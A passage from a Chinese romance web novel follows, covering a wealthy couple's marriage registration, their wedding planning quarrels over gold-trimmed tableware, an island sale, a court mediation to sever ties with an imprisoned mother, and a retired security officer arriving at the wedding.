但赵嘉良摸了摸鼻子,小声嘟囔道, “我保持啥啊?现在可是你在掌控咱家的财政大权,我就是个从老婆手上领零花钱生活的已婚男人而已。” 以前公司的大权握在赵嘉良手里,他每年能弄到多少钱夏季其实心里并没有定数。他只需要知道自己钱够花,且赵嘉良按时给自己手上的项目爆金币就足够了。倒是如今把赵氏夏氏全部拢到自己手上之后, 即使夏季并不真正参与公司经营,但身为最大的股东他总是不可避免的会多些事儿。 于是回去的路上, 夏季试探性的询问了赵嘉良关于股权的事情,却遭到对方的严正拒绝。 “你这是什么意思?你生日宴上我当着全京市所有有头有脸的大佬的面说了, 要以赵氏的全部股份作为彩礼, 你把股份还给我的话这跟退婚有什么区别?!”赵嘉良一听夏季说不想继续持有公司股份之后就差点炸了。 他本来个头就高, 坐车后座上那么一蹦直接脑袋撞在车顶上,发出“咚”的一声巨响。 坐在前排的司机保镖们立刻警觉地转过头来,然后又动作一致地转了回去。 赵嘉良顾不得其他, 立刻把后座挡板升了起来,然后搂着老婆就开始哄。 “对不起嘛宝宝~我也不知道你们实验室里面那么多勾心斗角, 谍战风云的~我以后再也不吃乱吃醋了好不好~” 夏季听着这家伙夹着嗓子的小尾音, 不擅长憋笑的他,表情变得有点奇怪。 他轻咳了一声,转头望向窗外,低声说, “没有,是我考虑不周。” 片刻后他又抬手撸了撸男人的脑袋,“你刚伤愈,平日里仔细点儿,别给脑子又撞坏了。” 赵嘉良:…… 他感觉夏季在骂自己,却敢怒不敢言。 能赶在新年开工之初解决了一个大问题,对于夏季和赵嘉良来说终归是大好事一件。虽然因此绊住了他们领证的脚步,但只要两情相悦,重新挑个好日子也不是什么难事。 夏季找了之前帮忙给赵锋锐赵天生挑坟的那个风水先生帮忙看了日子,对方给他们挑了个周五的工作日。对此王老也是特地给夏季放了半天假,让他能够安心领证。 至于赵嘉良这个公司一把手自然就更加没有顾虑了。 在领证的前一周他就提前让公司公关就自己和夏季的领证事宜作出了明确且清晰的说明。至此,夏季的“金丝雀”身份彻底被洗清,只是旁人再看已经接近全灭的夏家和赵家唯余的独苗苗赵嘉良赵夏两个豪门世家的“覆亡”故事估计能够不少世家大族的长辈们拿来给自家小辈好好分析,引以为戒许多年 而赵嘉良和夏季去领证的那个周五下午,是个阳光灿烂,万里无云的好天气。 结婚,对于几乎所有人来说都是一个人生的重大转折点。 赵嘉良亲自提前排的号,私下里还对领证流程预演了好几遍,以求领结婚证的当场一切顺遂。 除了当下结婚率萎靡,距离研究所最近的那家民政局一整个下午就赵嘉良和夏季一对结婚领证的。导致他们下午过去的时候因为没到风水先生算出来的吉时,还在民政局门口磨蹭了好一会儿才进门办正事儿。但不管怎么说,结婚证还是顺利到手了。 对于从“未婚”到“已婚”身份的转换,赵嘉良本人兴奋地捧着两本新鲜出炉的结婚证在停车场走来走去。 夏季见他绕着自家车队三圈了还一副找不着车门的模样,有些好笑的按下了车窗。 “喂,你别绕了,赶紧上车!” 结婚这种大事,通常来说都是要邀请亲朋好友一起吃顿饭的。虽然婚礼还八字没有一撇,但考虑到今天还是工作日,正好又是年后开工刚调回王老手下的敏感时期。夏季觉得趁着这个机会请大家吃顿饭,增进下团队感情,顺便带赵嘉良多见见自己的同事们,免得他时不时一惊一乍的麻烦。 吃饭的地方是夏季之前就定好的,甚至连接送同事们的车他都提前交代上了。 赵嘉良在席间红光满面的喝了不少,夏季也是难得默许了他对外宣誓主权的“幼稚”行为。而作为大家长的王老多喝了两杯之后,情到深处也几乎是老泪纵横的跟赵嘉良说了不少掏心窝窝的话。 “阿良,跟你说句实话。”临到喝的差不多了,王老摘下眼镜抹了把脸缓缓道,“我在你这个年纪的时候刚当爹。那时候我事业有成,家庭幸福,妥妥的人生赢家。” “可月有阴晴圆缺,人有旦夕祸福。谁曾想我顺风顺水了大半辈子,所有的美好生活都会在一夜之间被全部摧毁。” 初为人父之时,曾经幻想过女儿平安顺遂的一生瞬间的崩塌让当时正值中年的王家夫妻俩措手不及。等又过了几日之后,彻底接受失去女儿这个事实后,那血脉至亲永失之痛将他折磨的夜不能寐。但面对沉重的工作压力和肩上的担子,他只能不断的用工作麻痹自己。对于女儿,他亏欠良多。 “我很感激夏季能够不顾危险的将我女儿从那个吃人的地方带出来,我也想她承诺过,只要一定将夏季视作家人。这一点,从不会改变。”说着,老头子的眼神又清明了几分。他捶了捶赵嘉良的肩膀,舌头有点儿打结的伸手指了指赵嘉良,半警告道,“你小子一定要对阿静好,不然不然老子饶不了你,知道吗?!” 赵嘉良被这老家伙用拳头锤了两下,只觉得脑子嗡嗡的。虽然感觉对方说的话似乎是有哪里不对劲,但念在他老人家声情并茂的真情流露,他也没好意思反驳,“您放心,我一定对他好。” 跟赵嘉良心情好,跟自己的同事们喝成一团不同的是,夏季这人哪怕是自己做东请客,他说不喝酒就绝不会碰。他这性子,就连赵嘉良的那帮狐朋狗友都不敢忤逆,更何况是研究所的同事了。除了王老能劝动他喝上两杯之外,夏季大多数时候都只喝矿泉水。 对此,王今安有话要说。 “夏季我其实一直都挺好奇的,你平时从来不喝某农家的矿泉水,说它们家水有味儿是怎么喝出来的?那矿泉水不都一个味儿吗?”作为幼时喝一口水井的水长大的王今安以前只觉得夏季是个少爷,可现在她只觉得对方的真实物种可能还真是金丝雀。不然一般人怎么能喝的出来不同品牌的矿泉水的味道? “我看你就是被赵狗把嘴巴养刁了。你这样不好,脱离人民群众的资本家做派可要不得。” 夏季笑了笑,“你说反了吧?我只是不喝某个牌子的矿泉水而已” 他们今天聚餐的这家高档餐厅用的是国内某知名品牌的高端线矿泉水系列产品,包括泡的茶都是十几块一瓶的玻璃瓶矿泉水煮沸来泡的。但夏季就是喝不惯这个牌子,“我后面是让服务员换自来水烧的白开水,这不比矿泉水节俭的多?” 今天特地请了假过来蹭吃蹭喝的王今安也没忘记带上自己的好闺闺,她伸手指了指夏季,“嘿,你小子平时在家可不是这样的。” 夏季一把攥住她指着自己的食指,有些好笑道,“得了,别抓我把柄了。说吧,想干啥?” 亲爱的姐姐嘿嘿一笑,表示自己的导师出国参加学术交流会要半个月才回。她已经请好了假,准备跟好闺蜜一起去美丽的大草原旅游。 “听外公说你们实验室也比较闲,年后个把月主要都是带新博士生的工作。外公还在研究所干的学生里也就夏季你还没资格带学生吧,你要不过几天跟我们一起去旅游?不带赵狗,就当作婚礼前的最后单身放纵。” 夏季只觉得自己后心窝似是被她来了一刀,但面上不显。 “不去,草原有什么好玩的。”这种蜜月他都不会选的地方,夏季一点兴趣都没有。 但王今安却说她很向往那种风吹草低见牛羊的景象,还想顺便去学学骑马。 “你之前不是被夏荣他们闹腾的一直没学会嘛,正好一起去学学呗。” 夏季冷酷无情的制止了她的继续安利,“Stop,旅游的钱我报销。你们姐妹游就别扯上我了,我想骑马自然能回家骑。” 经常出入夏园的王今安脑子一下子没转过来,“回家就能骑吗?我记得夏园没有养马啊。” 事实上夏季因为嫌麻烦,夏园除了花房里有专人照料的几只美丽“真·金丝雀”之外,压根儿就没有除了人类之外的其他生物。 夏季一挑眉,轻笑道,“马确实没有不过可以骑别的嘛。” 随即他又抬手看了眼表,“时间不早了,差不多散了吧。等婚礼日子定下来再给你们发请帖。”《 》 第91章【VIP】 第91章 婚礼的细节事宜, 夏季跟赵嘉良开诚布公的谈过。 关于婚礼日期,赵嘉良看好的是秋高气爽的九月末,但那个风水师傅说十月更好。几日的差距赵嘉良倒是意见不大, 只是两人私下谈细节的时候, 夏季是这么说的,“我给风水先生看过咱俩的八字,他说农历十月二号这个日子挺好。先生说若是咱俩都父母都能在这个日子之前立冢的话, 咱俩以后定能大富大贵,平安顺遂。” 赵嘉良面露难色,低声道,“可是宝宝杀人犯法啊。” “我亲爹关在精神病院里, 我去把他弄死倒是可以。可喻馨现在还在走公诉流程吧,这不好下手啊……” 夏季大怒, “我刚让你别做错事你就开始犯病了是吗?!立个衣冠冢难死你了?!” 有道说是:科学的尽头是神学。 据说夏季的偶像牛顿先生就是个神学家,晚年时期更是潜心研究神学。而有个说法是, 人类在达到了人类的智力顶峰之后才会意识到人类智力的局限性, 很多顶级的物理学家都是有信仰的。 赵嘉良虽然没有指望自己对象未来能成为牛顿那种逼格的伟大物理学家, 却也万万没想到他还没到晚年就已经开始搞这些了。 “我不是要搞封建迷信,只是想求个心安。”夏季似是看出了他的踌躇,解释道, “我跟喻馨没有母子缘,到现在我的户口还在周小芬家呢, 所以我的父母已经安葬好了, 这点毋庸置疑!” “给你爹立个衣冠冢吧,他以前没做过好事,未来能保佑你平平安安也好。” 赵嘉良惊呆了,“活人也能保佑活人的平安吗?” 不过又被瞪了一眼之后他就彻底噤声了。 虽然给活人立衣冠冢这事儿有点抽象, 不过赵嘉良把这事儿交给管家之后才发现,原来他亲妈娘家老家那边还真有给老人提前立冢的传统。赵锋锐如今这疯疯癫癫的情况还挺符合祈福传统的,于是这事儿便被赵嘉良交给了老管家亲自操办。想来不日便能办妥。 而聚餐的时候的清纯姐姐也是回了家之后才后知后觉脑子转过弯了,想明白了夏季所说的“回家骑别的”是在秀恩爱。 母胎solo的她气的发了好几条语音消息骂人,于是夏季洗完澡回来一看,就看到自己未读消息99+了。 除了他温柔善良,可爱体贴的好姐姐之外,还有几条来自老胡的喜报。 夏季看的舒心,顺手给姐姐买了个包,把订单发给她之后果然消停了不少。 “婚礼的请帖,给老胡也发一份吧。”照理来说,老胡这种情况,在有案子的时期是不能参加直接利害关系者及其亲属的宴请的。 关于这一点赵嘉良也有所耳闻,他挺自然的靠在对方身侧,嗅了嗅对方身上好闻的薄荷沐浴乳味道,低声道,“发请帖当然没问题,但老胡真能来?这不违反纪律?” 手屏幕的光亮映照在他的脸上,让他原本就十分白皙的皮肤多了种半透明的冷漠感。 “能来,老胡要提前退休了。”夏季暗灭手机屏幕,使得赵嘉良没能在第一时间分辨出屏幕上的内容,“那个岛老胡他们登岛了。” 然后受伤了。 “算起来我跟老胡认识也有好几年了。啧,他老的可真快。” 说是提前退休,其实就是病退。虽然老胡给夏季发的消息里没有说明细节,但敏锐的人总是能从细枝末节中发现一些问题。 然后夏季忽然就想起前不久自己被老胡坑了一顿部门团建的事情。因为都是以前在保密项目上就见过面,夏季虽然有好些都喊不上名字,未来也很难有再有交集。可从老胡的只言片语中,他即使察觉到了什么也只能保持沉默。 “那个岛等有关部门检查完毕之后,把这个岛处理掉吧?”夏季如是说。 赵嘉良现在也觉得晦气,毫不犹豫的就答应了。 只是当年凶名在外的赵总如今也是落魄了,向老婆伸手要零花钱的男人总是能无师自通的学会精打细算。所以第二天赵嘉良一脸神清气爽地去到公司之后就开始处理这些不良资产了。王秘书过来送茶水,顺便领取签好字的文件时,不经意的瞥到了文件内容,便忍不住问,“赵总,您之前不是很中意夏氏转过来的这个岛,宁可顶着股东压力都要留下吗?怎么突然就要卖了?” 夏季不知道的是,赵嘉良为了能举办一场难忘的海岛婚礼之前是顶着多大压力的。当初的他态度有多坚决,如今的王秘书就有多惊讶。 不过这其中的弯弯绕绕赵嘉良自不可能讲给秘书听的,哪怕是被他视作自己的人信任之人也不行。 “哦我知道了,一定是夏少不喜欢这个风格所以拒绝了对不对?”王秘书算是公司里为数不多跟夏季还算熟的员工。赵嘉良这还没开口,她就已经自行脑补好了合理的解释。“哎,这也真是太可惜了。不过最近公司里大家私下也有讨论,觉得高家和夏家那边喜结连理时用过的场地,您和夏少再用就太不吉利了。” 事已至此,高家没的就十分悄无声息了。它以一种十分奇特的,旁人都很难想象的出的姿态,迅速且不可逆的消失了。 自从夏燃没了之后,高嘉丽被带走调查。而她远在国外的父母听到风声直接切断了与国内的所有联络。而这些年他们借着“相看退休养老环境”之名在国外投资的名义,以各种方式在国外持有的房产和信托基金让他们即使不回国也能过的很潇洒。而高嘉丽作为父母是真爱,孩子是意外的典型,很快就从圈内人人艳羡的大小姐变成丧夫的家族弃子。 至于她未来会如何?谁也不知道,也无人在意。 而赵嘉良要出售不良资产的事情,在经过他的一番操作后在圈里也是难免引起了一些不太和谐的声音。 其中被大家说的最多的,在他本人看来就有点儿阴谋论了。 “赵总您要是实在不行了,不如跟夏少多说说好话,勤交交公粮,让他指缝里给您多漏点,您这日子也能过的更加宽裕不是?”这话是赵氏某位不知内情的王姓股东私下联系赵嘉良谈价格的时候说的。 因为在外人看来,跟着夏氏一起转过来的亏钱岛除了亏钱之外其实没啥毛病。只是这种偏向于私人订制的太平洋小岛本就不是正经公司的必须资产,这位股东正好曾经也是有幸参加过夏燃和高嘉丽婚礼的,正好他小女儿明年也差不多要谈婚论嫁,这些年在赵氏挣了不少,他觉得买下这个美丽小岛进能给女儿办婚礼,退能养老度假。再加上如今高家出事,不少人嫌晦气并不考虑,但有的精明商人就觉得这是个捡漏的好时机。正好身为赵氏股东,近水楼台先得月,只是赵嘉良在报价的时候这个价格还是有些超出了他的预期。 一番沟通下来后,赵嘉良也是隐晦的表示自己现在是已婚人士,手头比较紧。 同样是老婆把控财政大权的王总也是很懂。不过他毕竟有几十年领零花钱生活的老人夫了,对于家庭财政大权的这点儿弯弯绕绕颇有心得。 只是他这话落在赵嘉良耳中就有点儿变味儿了,毕竟男人是不能说不行的! “王总您误会了,我们家的财政大权虽然在老婆手里。但我们绑定的是共同账户,我并不缺钱。”赵总义正言辞地表明立场。 可王总只是笑笑,“说的好像谁家夫妻不是绑定共同账户似的” “这样吧赵总,您给我这个数把岛卖我,回头我送您一套您之前相看的餐具,怎么样?” 赵嘉良严词拒绝,不过三日之后,赵氏还是载歌载舞的把这个故事一堆的小岛出手了。虽然因为高家的原因让它的价格比公司预期要低了一些,但能快速的卖掉已经是喜大普奔了。 不过与此同时的是,赵嘉良婚礼日期定下之后,带回来了一车餐具,说是要在他们婚礼时用作招待宾客。 “赵总,这不合适吧~”经过婚庆工作室小姐姐的不懈努力,夏季最终还是选择了同他们家签约。 虽然名气不够大,但对方确实精准的拿捏住了夏季的审美并且施行的很好。但众所周知,结婚是两个人的事。夏季就算跟婚庆方面沟通的再顺畅,也终究是要过赵嘉良这一关的。 趁着夏季放权给婚庆,赵嘉良风风火火的提着东西要求婚庆现场布置给加上。 项目负责人周小姐看了一眼那白底金边的餐具,满脑门子问号。在听说了这餐具上的金边都是24k金打造之后,她更是两眼一黑。 在委婉的告知这些餐具并不符合本次婚礼的主题,但赵嘉良说他很喜欢,希望能用上。 这让周小姐就有些左右为难。不过干他们这行的遇到两位新人的意见相左也是常态,所以她便按照惯例将此事告知了夏季,询问他的意见。 结果夏季说,“如果是黑底金边的还凑合,白底不太行。” 周小姐没好意思说黑底金边就不像是婚礼餐具,而是葬礼了! 但看在人家出手阔绰的份上,她还是再次委婉地表示出,希望夏二少能劝一劝赵总,让他放弃此想法。 “你就直接跟他说我不同意不就完了?”毕竟在夏季的心目中,赵嘉良一直都很乖~ “我说了,可赵总不知道为什么特别坚持。他似乎对昂贵的镶金餐具有什么执着” 赵嘉良这人的审美巅峰可能就全点在找对象这点上了。他早年当叛逆纨绔的时候穿搭是曾一言难尽过一段时间的,倒是后面继承赵氏成了赵总之后成天西装三件套焊在身上反而弱化了他在审美方面的问题点。 但夏季总觉得赵嘉良一个“京圈最穷霸总”应该是没有炫富这种毛病在身上的。 “在人总是越缺什么就越爱炫耀什么。”周小姐有些阴暗的表示,“这婚礼全程花费由二少您买单,也许赵总也想从其他方面展示一下呢?” 夏季沉默片刻,“我知道了,这事儿我来解决。” 随着婚礼的日期临近,就算夏季这种每天两点一线的,几乎不进行无意义社交的人都难免会听到一些风言风语。 而负责公司运转,真正在给这个家挣钱的人所直面的言论绝对比自己听到的更多。 夏季取出一份之前就准备好的文件,给徐芸律师打了个电话。 “之前跟你说的那个事情,提前一下。”《 》 第92章【VIP】 第92章 在徐婉律师帮夏季处理正事之前, 她还抽空帮夏季办了另外一件事情。 自从夏燃死了,喻馨也进去了之后,夏荣的日子是特别难挨的。 周家因为被相关部门查出来曾经跟境外势力有大额转账, 且拿不出正规的合理交易合同而被严查。虽然周镇川这人好高骛远的想搞事, 但人家老外也不是傻子,显然看的出来他并没有赵天生那种孤注一掷的狠劲儿,所以他也只是借着夏燃的那条线混了点儿好处罢了。但说真正深入参与周镇川确实没那个胆, 但仅仅就给境外势力提供资金这一条,他们周家在未来的很多很多年里都永远不可能重回京市顶流豪门之列了。 也正是因为如此,帮周镇川和夏燃牵线搭桥的夏荣日子也不好过。 因此,在一审结束之后, 她的律师找到了夏燃。 “瘦死的骆驼比马大,喻馨虽然是进去了, 但她早不是靠当明星挣钱的顶流影后了。即使如今落魄了,请个靠谱的律师还是可以的。”徐律师在陪同夏季前往法院的路上, 还是忍不住多交代了几句。 “喻馨这案子一审无期其实已经算是定格重判了, 想要死立执你就别想了。倒是她要求你作为子女作代理人的事情, 咱们还是要好好辩一辩的。” 因为夏燃死了,夏荣如今自身难保也不管了,喻馨在里面有个什么事儿的看守所那边按照相关条例都是要联系夏季这边的。 夏季本以为喻馨只要进去了就能万事大吉, 可谁曾想她在里边也不安分,作妖的天性让她根本也就无法安分的下来。以前夏荣作为唯一还愿意管他的孩子, 偶尔还会时不时的去探望。如今夏荣也跑路了, 看守所那边就会联系夏季。 而夏季这次就是想在自己婚礼之前彻底搞定这件事情,于是在咨询过律师之后,他显示去民政局开了证明,然后再去法院和看守所那边走流程。 “嗯, 断绝关系这个事情就麻烦徐律师您好好费心了。” 虽说血缘关系是世界上最暴力最无解的关系,但架不住有的人真的太能作了,这才让夏季有了彻底摆脱的机会。 而早已被漫长的监禁生活折磨的喻馨在好不容易见到夏季的时候只觉得恍若隔世。 “你来啦。”女人的嗓音沙哑的可怕,但对于毫不在意的人来说,无论她用何种嗓音跟自己说话,他都无动于衷。 夏季本来是不想见她的,但徐律师说这个是流程,他得走个过场。夏季对此表示理解,社会主义特色的庭前调解,他体验一番也无妨。 十分钟的会面时间两个人大眼瞪小眼的坐着显然也不现实,好在会客室里除了两位当事人之外,调解庭的工作人员和双方的律师也很快到场了。只是后面无论喻馨说什么,夏季都不会回应他。对于工作人员的提问,他也永远只有一句,“我律师的意思就是我的意思。” 徐晚将已经准备好的材料递交上去,“喻馨女士如今之所以会在这里正是因为她两次的杀人未遂,我的当事人正是受害者之一。因此,足以证明其对子女毫无怜爱之心,不配为人母。” “而且我的当事人夏先生从小在清河村长大,在其亲生爷爷奶奶的许可和资助下,已经过继给了清河村的村民周小芬夫妻。这里有清河村村委出具的情况说明,夏先生的养母周小芬女士十几年如一日的照顾他,给了我的当事人一个不错的童年生活,且有合法的收养手续和户籍证明。因此可以视作拟制血亲关系建立.养子女必须赡养养父母,并且和亲生父母切断关系。” “众所周知的,我的当事人是年满18周岁之后才来京市的,因此喻女士从未尽过一天母亲的职责。于情于理,我的当事人对喻馨女士都没有任何责任和义务。” 喻馨这时候也听明白了。 “夏季你要跟我断亲?我是你亲妈,你不可以抛下我的!” 夏季冲她微微一笑,笑的还是那好看,那么温良,“可我已经有一个妈妈了啊,我妈妈姓周。而那个会永远不会抛下你的男人,早就被你害死了啊。” 凭借拟制血亲的关系,虽然调解庭上出不了结果,但从庭里出来之后徐律师说这次的事情十拿九稳。 “我以前竟然不知道喻影后的嗓门竟然能这么大。”徐律师不耐的摸了摸耳朵。 虽然才几个月,但对喻馨这种曾经爬的太高的人来说,几个月的时间就足以摧毁她的一切。 夏季不置可否“嗯”了一声,反应淡的让人甚至觉得他似乎根本没有听清自己在说什么,只是随意的敷衍。徐律师见他对这事儿没兴趣,便捡了些他最近在意的事情来说。 “股权转让协议我们这边已经准备好了,但签字这方面还是需要赵总本人同意才行的。” 当了这么多年律师,各种各样的转让合同徐律师都不知道拟过多少了。但这要哄着受益方签字的也是把她看力竭了,尤其她这位向来高冷骄矜的夏二少说出,“放心吧,他很好哄的,我会让他签字的。” 比夏季更早认识赵嘉良并跟他共事多年的徐律师只觉得自己似乎嗅到了恋爱的酸臭味儿,这让结过婚还离过婚的她也忍不住同化般的酸溜溜。 后续的断亲事情就交给徐律师及其手下团队了,夏季如今最头疼的就是婚礼的细节布置。 原本他很满意的婚庆团队如今三天两头找他告状,而研究院那边的夏季跟师兄共同主持的未来研究方向也被院里给毙了,师兄还在跟院领导犟,而聪明的夏季则是选择修改课题,修到地老天荒。 “夏先生,我们按照赵总的意思修改了婚礼的整体布局主色。”周小姐委屈巴巴的捧着渲染效果图,“您看改成这样您还满意吗?” 夏季瞥了一眼,原本低调奢华的整体风格变成了霸气十足的土豪金配色。 一般情况下,夏季在哄男人的时候都能闭着眼睛夸的,但考虑到这是婚礼,不是关起门来他俩自己凑合一下就行的事。夏季虽然自认为不是个脸皮薄的人,但这不代表他不要脸啊! “这H家的全套24K镶金餐具我们已经按照赵总的要求给加上去了,并且调整了桌椅的配色。但赵先生说要给酒店大厅换顶灯……”那看起来就非常昂贵的璀璨水晶灯已经快赶上他们夏园大厅的主灯了。周小姐只看了一眼实物就觉得眼睛要瞎了。 倒不是这昂贵的灯具不好看或者有什么问题,主要是这种过于奢华的水晶灯跟他们定的半开放式婚宴场地并不搭配。 对此,夏季沉默片刻后,道,“酒店的灯就没必要换了,还是按原计划来吧,我去跟赵嘉良谈。” 在真的结了婚领了证,成家立业了之后,夏季感觉如今的生活有了明显的变化。尤其是赵嘉良。 人前的赵嘉良在很多人心里可能还是阴险狡诈的精明商人形象,而商人逐利的天性让他很多时候都有种人前不认人的冷酷。但不可否认的是赵嘉良确实是个成功的商人,把夏季从穿十块钱一条的T恤都能养活的穷学生养成了不是纯羊绒的线衫我就过敏给你看的娇贵金丝雀。像他这样的人,金钱在他看来应该就像是一个数字符号般平淡。 但这个前提是,他银行卡里得真有钱。 前段时间赵氏把小岛出售之后,赵嘉良参加应酬的时候就有富豪老总呼朋唤友的说等夏天到了可以组团买游艇出海玩。赵嘉良自然也受到了邀请,他笑着婉拒了说自己是指着零花钱过活的穷人,买不起那玩意儿。更主要的是,夏季也不喜欢玩水,买个游艇不能跟老婆一起Happy赵嘉良觉得没多大必要。 只是他这话落在旁人耳中后,就引人深思了。 原先不看好这两人结合的言论不知为何又死灰复燃了起来。 说夏季好心计,靠狐媚手段哄得拿下赵家全部资产简直是当代金丝雀楷模,只得所有深耕金丝雀这行的小鸟儿们好好学习,熟读背诵。 而另一边的人的则是感慨余家家门不幸,生的女儿外孙一个赛一个的恋爱脑,活活将自家的百年基业毁于一旦改了姓。他们应该引以为戒,教育后人。 但不管怎么说,赵嘉良如今已经从“京圈最穷霸总”变成了“吃软饭”,这其中的地位差距不可为不大。而这也是夏季如今最头疼的一个问题,还算为人正直的他深谙在其位谋其政的到底。虽说赵氏股份是算在“彩礼”中的,但夏季并不是真的想要这所谓的大权在握。他跟赵嘉良说过几次想把股权转回给对方,这样既能给自己减少些琐碎麻烦又能便利赵嘉良平日在公司中行事。 但对方考虑过后还是拒绝了,理由是:彩礼给出去了哪还有退回来的道理? 于是夏季便想着,既然他觉得给出来的彩礼不能退,那他就把彩礼重新整合之后,变成一个新的东西再重新塞回去就好。 在婚庆团队经过了三个月的艰苦斗争后,赵嘉良和夏季这对在京圈豪门中颇具传奇色彩的这对新人终于即将步入婚礼的殿堂! “宝贝,我感觉咱们的这个婚礼布置的还是不够奢华啊~”其实对于赵嘉良来说,婚礼是什么风格,主色调是什么颜色他并不在乎。他最在乎的,一个是夏季喜欢,另一个就是能在所有的宾客面前证明他赵嘉良的选择没有错,他过的很幸福。 但让身在福中狠狠享福的赵嘉良有些无奈的是,他的幸福似是种无处诉说的悖论。无论他如何跟朋友们分享自己抱得美人归的欣喜与和谐舒畅的婚姻生活,可他的那帮狐朋狗友们总是会对他投以怜悯的目光。 “连游艇都买不起,你觉得自己幸福那就是真幸福吧。” 就这么一句话,让赵嘉良差点原地爆炸。而跟着赵嘉良风里来雨里去多年的阿久也不解的说:虽说男人的钱在哪里爱就在哪里, 但不管怎么说,兜里没什么钱是真的。老胡那个坑爹玩意儿说好了过完年申请医疗费报销审批,到现在他人都退休了,钱还没有审批下来也是真的。 赵嘉良的想法很简单,他就是希望通此生仅此一次的婚礼让大家能够看到找自己的幸福与富裕罢了。这也算是人之常情,他虽然从未跟夏季说过,但夏季其实也已经猜出了个七七八八,因此他们作为主人家早早抵达婚礼现场的时候,再次听到赵嘉良的小抱怨,夏季终于还是忍不住说,“我们是来结婚的,又不是来炫富的,为什么要那么奢华?” “可咱俩从认识开始就走的是奢华宫廷风啊。”赵嘉良眨了眨眼睛,“之前我说给你修宫殿的时候你不是说要修成全京市最华丽的模样吗?” 夏季难得的一噎。 那是当初他为了让这家伙知难而退随口胡诌的。 “你就当我现在改了喜好风格吧。”夏季将胸花拍在他胸口,“自己戴上,然后乖乖去找化妆师化妆。我去跟小周他们再确认一下流程就去接待宾客了,你一会儿弄完了自己过来找我。” “什么客人啊,竟然还要你亲自去接。”赵嘉良随口抱怨了一句,但还是很听话的按照老婆的要求,循规蹈矩的去办了。 按照夏季逃避社交的属性,普通的宾客他确实不会亲自接待。 但今日来的最早的这一位他不仅亲自去接了,还是亲自下到酒店停车场去接的。 在略显昏暗的酒店停车场里,一台挺低调的国产电车停在电梯正附近,夏季一出电梯正好能看到正在关车门的老熟人。 “老胡,这边!” 满头白发的那人转过身来,一脸惊喜。 “哟,咱家如花似玉的夏少爷今儿个好好打扮一番真是天仙下凡呐!”老胡这人是少年白,不过干他这行的脸长得比实际年来大实属正常。而他这油嘴滑舌的腔调比之前还在任时要更厉害了,刚一见面他就把夏季猛猛一顿夸。 这让听多了各种对于外表方面夸奖的夏季都有点不好意思,“行了行了,都老熟人了,面子工程您能省省吗?” 老胡不好意思的搓了搓手,然后从兜里掏出一个薄薄的红包,“新婚快乐。” 夏季道了声谢,接了过来。 只是低头交接的时候,注意到对方缺失的一只手,夏季心里还是挺不好受的。 “案子的事情都结束了吗?” 听说老胡负伤病退后夏季其实有想过要去探望的,但听相熟的国安同事说,案情复杂老胡的伤情也复杂,非内部人员不允许探望。虽然更多的细节无人透露,但能让老胡这种在岗位上战斗了一辈子的老资格伤退他定是受了无法重回一线的重伤。 夏季其实很想问问他的身体状况,却又不敢开口。 “都结束了,坏人都抓住了,黑手也给斩断了,我也是光荣退休了!”老胡把红包塞到夏季手中,冲他挤眉弄眼,“就是最近手头紧,红包包的比别人少,所以好听话得说的比别人多才能补上不是?” 夏季被他逗笑了,“正好阿良最近特别爱听好听话,一会儿您上去跟他多说几句,他一高兴说不定反而给您包个红包呢。” 老胡哈哈大笑了几声,摆了摆自己仅剩的那只左手道,“那可不成,我可是外面人都说你家京圈最穷霸总现在就是个妻管严,看老婆脸色吃饭呢。我怕就怕一会儿去跟他说话,他追着我问报销的事儿~” 毕竟之前拍板让赵天生住5万一晚的ICU是他的决定。但这钱是赵嘉良垫的,老胡现在都办病退了,每天还的头秃的往单位跑,填各种报销单。毕竟从业几十年,骤然退休了,之前欠下的“债”得慢慢还呐。 夏季笑了笑,“当妻管严是他的选择,跟我无关。至于看我的脸色吃饭我没有给对象甩脸色的习惯。” 亲自将人接到现场后,赵嘉良也捯饬的差不多,准备开始营业了。 他们的这场婚礼邀请的宾客不多,却很精。除了在赵嘉良当植物人期间,在他床头吃喝蹦迪以及挖墙角的好兄弟们之外,赵嘉良还给所有的情敌,前情敌,有苗头的情敌全部下了请帖并安置在一桌,让他们好好对比下谁才是最有资格站在夏季身旁的人。 “诶,老胡老啦!”赵嘉良刚刚接了个电话本来是准备下楼接人的,不过看到夏季跟老胡回来了,他就顺理成章的把接酒肉朋友的任务交给了手下的人去办。 只见赵总热情的迎了上来,只是那视线就没从他貌美如花的老婆身上挪开过。其实这也不怪赵嘉良,毕竟食色性也。就算是朝夕相伴的枕边人,每天抬头不见低头见的。可平日总是粉黛未施,白大褂加身的朴素打扮,跟今天一身精致华服,连头发丝儿都被打理的透出精致意味的美貌是不同的。 如果是日常的夏季是那种不亲人的高冷美人,那今天的他就好看到具有攻击性。饶是对同性没有感觉的男人在见到他的第一眼,也一定会产生一丝心灵震撼。尤其是当他笑起来的时候,那眉眼弯弯的蕴色总是会令人忍不住多看两眼。 好在走近了之后赵嘉良也回魂了,总算是给了眼神到他亲爱的来客身上。 只是他这个嘴上没把门的,只肖两眼就脱口而出,“哎哟,这才多久没见老胡你手咋没了?之前就听说你受伤了病退了,看来这伤的不轻啊。” 夏季其实刚才就想询问老胡伤情了,但是考虑到他突然残疾,自己若是贸然开口可能会戳到人家痛处这才一直没有主动问。谁知道赵嘉良这家伙一上来就直截了当的,想什么说什么了。夏季还来不及张口,就听到那家伙揶揄道,“除了手之外,还又没有哪里没了啊?” 好在老胡干那行许多年了,心理素质不是一般人没比的。见他完全没有生气或伤心的笑道,“背上也挨了两下子,不过只是皮肉伤,问题不大。就这个手被狗日的阴了一发,打烂了。” 眼看着越说越过分了,夏季瞪了赵嘉良一眼,招呼着老胡入座了。 他给老胡留的是主座的位置。因为赵嘉良和夏季都没有没爹没妈,还没兄弟姐妹,家族长辈什么的。所以这个主座安排的全都是夏季的师长同事,以及王老及其同事。这其中的不少人之前都在保密项目上干过,跟老胡也认识。这样安排也不至于让他一个人呆着闷。 由于赵嘉良和夏季结婚,两个人凑不出来一个亲戚,王老及其夫人只能被借调作为婚礼仪式的唯二长辈了。 因此王老夫妇俩今天来的也挺早。11:58的婚礼,他们早上9点多就到了。 之前王老一直在后台准备间拿着麦克风反复熟读背诵,而王夫人还得带着老花镜是不时地帮他改改发言稿。 后面跟邹柔柔一起过来的王今安后面找夏季抱怨的时候,酸溜溜的说“我外公外婆他们这辈子都没有以长辈身份为孩子的新婚致词,他们原本落在我妈身上的遗憾如今倒是全实现在你身上了~” 夏季笑道,“谁让你不肯学天文呢?” 要知道王院士他们一家三口的梦想可全都是天体物理,可偏偏王今安成绩不错,却选择了学医这条不归路。如今她也是寒窗苦读十几栽,不仅分币未挣,反而坑了夏季十几万学费。 